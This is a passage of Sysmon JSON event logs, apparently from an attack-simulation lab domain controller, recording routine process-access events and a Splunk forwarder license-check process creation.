AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.510\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001068290500}\r\nSourceProcessId: 4364\r\nSourceThreadId: 2804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.510","SourceProcessGUID":"{90617006-407C-5F2D-0000-001068290500}","SourceProcessId":"4364","SourceThreadId":"2804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.547\r\nProcessGuid: {90617006-407C-5F2D-0000-0010B82B0500}\r\nProcessId: 2512\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.547","ProcessGuid":"{90617006-407C-5F2D-0000-0010B82B0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010B82B0500}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010B82B0500}","TargetProcessId":"2512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010B82B0500}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010B82B0500}","TargetProcessId":"2512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 